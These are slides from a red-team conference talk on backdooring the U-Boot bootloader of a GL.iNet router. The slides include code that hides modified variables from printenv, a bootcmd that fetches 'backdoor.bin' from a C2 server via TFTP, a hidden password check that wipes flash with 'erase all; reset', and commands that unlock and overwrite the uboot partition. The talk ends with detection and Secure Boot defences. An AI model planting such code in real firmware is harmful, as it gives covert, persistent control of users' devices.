I Boot when U-Boot @bernardomr (MIA) @_evict 1 / 44
Agenda 1. Introduction 2. The target device 3. The bootkit 4. Defending / Detecting 2 / 44
Introduction Vincent Works at KPN REDteam Likes Linux and low-level stu� Located in Amsterdam 3 / 44
Introduction Bernardo Works at KPN REDteam Very good at bricking routers TheGoonies CTF player Brazilian, located in Amsterdam, actually there right now. 4 / 44
Goal Demonstrating a bootkit on embedded devices. Learn about embedded device architecture. Having fun! 5 / 44
Bootkit: Advantages Di�cult to detect. Bootloader usually not a�ected by updates. Bypass OS security features. 6 / 44
Bootkit: Disadvantages 7 / 44
The Device 8 / 44
The Device Source: https://www.gl-inet.com/gl-inet6416/ 9 / 44
Preparing the Device 10 / 44
Dumping the �ash 11 / 44
The toolchain You will probably need to cross-compile Crosstool-ng OpenWRT SDK / Imagebuilder 12 / 44
U-Boot Source: https://wikidevi.com 13 / 44
U-Boot variables Stores environment variables on persistent storage Environment variable block size depends on device type /uboot/include/configs/ap121.h /* * ========================= * Environment configuration * ========================= */ # if defined(CONFIG_FOR_8DEVICES_CARAMBOLA2) ||\ defined(CONFIG_FOR_ALFA_NETWORK_HORNET_UB) ||\ defined(CONFIG_FOR_GL_AR150) # define CFG_ENV_ADDR 0x9F040000 # define CFG_ENV_SIZE 0x8000 # define CFG_ENV_SECT_SIZE 0x10000 # elif defined(CONFIG_FOR_BLACK_SWIFT_BOARD) # define CFG_ENV_ADDR 0x9F020000 # define CFG_ENV_SIZE 0x8000 # define CFG_ENV_SECT_SIZE 0x10000 14 / 44 [...SNIP...]
U-Boot variables bootcmd bootargs loaddr recovery many more 15 / 44
16 / 44
Interesting features printenv() tftpboot() envstopstr bootcmd ping 17 / 44
Scripts U-Boot scripting language 'Dual-Boot' example: if ping $serverip; then tftpboot $loadaddr backdoor.bin bootm $loadaddr else bootm $fw_addr fi 18 / 44
Backdooring functions printenv Preventing printenv to print all: Function is do_printenv in cmd_nvedit.c Loops through '\0' separated list. 19 / 44
if (argc == 1){ /* Print all env variables */ for (i = 0; env_get_char(i) != '\0'; i = nxt + 1){ for (nxt = i; env_get_char(nxt) != '\0'; ++nxt) { if (env_get_char(nxt) == '=') { variable[c] = '\0'; if (get_match(variable)) { // function pflag=1; // do not print } // function stuff ... for (k = i; k < nxt; ++k){ if (!pflag) { // only print when flag is not set putc(env_get_char(k)); } } if (pflag) { m++; // we have 1 match } if (m == 1) { // first match is bootargs puts("bootargs=console=ttyS0,115200 root=31:0...") } else if (m == 2) { // second match is bootcmds puts("bootcmds=bootm 0x9F020000"); m=0; // this is the last one, reset counter } // function continues.... } } 20 / 44
Backdooring functions bootcmd variable Executed by bootm when device boots Usually an environment variable Overwritten in source 21 / 44
bootcmd uboot/common/main.c /* Get boot command */ bootcmd = getenv("bootcmd"); # if defined(CONFIG_BOOTCOMMAND) if (!bootcmd) setenv("bootcmd", CONFIG_BOOTCOMMAND); bootcmd = getenv("bootcmd"); # endif bootcmd = "if ping $serverip; then tftpboot $loadaddr backdoor.bin;\ bootm $loadaddr; else bootm $fw_addr; fi"; 22 / 44
U-Boot 'password' protection envstopstr Hidden from user (but not from GNU strings) Wipes device on incorrect try uboot/common/main.c if (stopstr_len == envstopstr_len) { if (memcmp(envstopstr, stopstr, envstopstr_len) == 0) { abort = 1; bootdelay = 0; break ; } else puts("\nToo bad! Wiping the device\n"); bootcmd = "erase all; reset"; tested = 1; } 23 / 44
Hiding from 'strings' De�ne the string as a byte array Not as hardcoded string char c; char stop[] = { 0x73, 0x75, 0x70, 0x65, 0x72, 0x73, 0x65, 0x63, 0x72, 0x65, 0x74, 0x00 }; char *envstopstr = malloc(strlen(stop)); strcpy(envstopstr, stop); Simple obfuscation technique Will be found with reverse engineering mov byte [ var ], 0x73; mov byte [ var +1], 0x75; mov byte .... 24 / 44
Demo Bypassing the envstopstr protection Glitching the data-in pin. Bootloader is loaded in memory Fallback to bootloader Demo video 25 / 44
Planting the bootkit $ export PATH=/opt/openwrt/toolchain/ toolchainmips_34kc_gcc5.3.0_musl1.1.16/bin/:$PATH $ make bootkit $ binwalk bin/bootkit.bin DECIMAL HEXADECIMAL DESCRIPTION 11672 0x2D98 uImage header, header size: 64 bytes, header CRC: 0x45DE2870, created: 20180225 15:46:34, image size: 57080 bytes, Data Address: 0x80010000, Entry Point: 0x80010000, data CRC: 0xA99D818A, OS: Linux, CPU: MIPS, image type: Firmware Image, compression type: lzma, image name: "UBoot 1.1.4 (Jun 25 2014)" 11704 0x2DB8 UBoot version string, "UBoot 1.1.4 (Jun 25 2014)" 11736 0x2DD8 LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 156864 bytes 26 / 44
Planting the bootkit Linux Kernel treats "raw �ash memory" chips as MTD (Memory Technology Device) Filesystems on top of the MTD abstraction layer: root@GLiNet:/mnt/sda1/flash# cat /proc/mtd dev: size erasesize name mtd0: 00020000 00010000 "uboot" mtd1: 00110024 00010000 "kernel" mtd2: 00ebffdc 00010000 "rootfs" mtd3: 00870000 00010000 "rootfs_data" mtd4: 00010000 00010000 "art" mtd5: 00fd0000 00010000 "firmware" 27 / 44
Planting the bootkit Boot partition commonly mounted as Read Only: https://github.com/lede-project/source/blob/master/target/linux/ar71xx/image/generic.mk#L233-L241 define Device/glar150 DEVICE_TITLE := GL.iNet GLAR150 DEVICE_PACKAGES := kmodusbcore kmodusb2 BOARDNAME := GLAR150 IMAGE_SIZE := 16000k CONSOLE := ttyATH0,115200 MTDPARTS := spi0.0:256k(uboot)ro,64k(ubootenv)ro, 16000k(firmware),64k(art)ro endef TARGET_DEVICES += glar150 28 / 44
Planting the bootkit mtd-rw: https://github.com/jclehner/mtd-rw LKM that sets the MTD_WRITEABLE �ag on all MTD partitions that are marked readonly /linux/include/mtd/mtdabi.h: # define MTD_WRITEABLE 0x400 /* Device is writeable */ # define MTD_BIT_WRITEABLE 0x800 /* Single bits can be flipped #define MTD_NO_ERASE 0x1000 /* No erase necessary */ #define MTD_POWERUP_LOCK 0x2000 /* Always locked after reset * 29 / 44
Planting the bootkit Overwrite mtd->�ags https://github.com/jclehner/mtd-rw/blob/master/mtd-rw.c static int __init mtd_rw_init ( void ) if (w && !(mtd>flags & MTD_WRITEABLE)) { printk(MOD_INFO "mtd%d: setting writeable flag\n", n); mtd>flags |= MTD_WRITEABLE; err = 0; } else if (!w && (mtd>flags & MTD_WRITEABLE)) { printk(MOD_INFO "mtd%d: clearing writeable flag\n", n); mtd>flags &= ~MTD_WRITEABLE; err = 0; } 30 / 44
Planting the bootkit Physical access is not required root@GLiNet:/mnt/sda1# insmod mtdrw.ko [ 88.660000] mtdrw: must specify i_want_a_brick=1 to continue kmod: failed to insert mtdrw.ko root@GLiNet:/mnt/sda1# insmod mtdrw.ko i_want_a_brick=1 [ 97.240000] mtdrw: mtd0: setting writeable flag [ 97.250000] mtdrw: mtd1: setting writeable flag [ 97.250000] mtdrw: mtd2: setting writeable flag [ 97.260000] mtdrw: mtd4: setting writeable flag root@GLiNet:/mnt/sda1/flash# mtd write backdoor.bin "uboot" Unlocking uboot ... Writing from backdoor.bin to uboot ... 31 / 44
Persistence Malicious kernel / initramFS Served by C2 Only in memory if ping $serverip; then tftpboot $loadaddr backdoor.bin bootm $loadaddr else bootm $fw_addr fi 32 / 44
Demo Dualbooting the device with bootcmd . Pings host, if alive TFTPBoot() jmp to memory address Demo video 33 / 44
Detecting Bootkits U-Boot Reproducible builds Fixed timestamps "In order to achieve reproducible builds in U-Boot, timestamps that are de�ned at build-time have to be somewhat eliminated. The SOURCE_DATE_EPOCH environment variable allows setting a �xed value for those timestamps." https://github.com/lede-project/source/blob/lede-17.01/package/boot/uboot-ar71xx/patches/0001-upstream- Reproducible-U-Boot-build-support-using-SOURCE_DATE_.patch 34 / 44
Detecting Bootkits Chipsec 35 / 44
Secure Boot U-Boot has Secure Boot support Secure Boot by digest / signature 36 / 44
Secure Boot Physical impediments. TPM / Trusted Boot 37 / 44
Secure Boot 38 / 44
Recommend
More recommend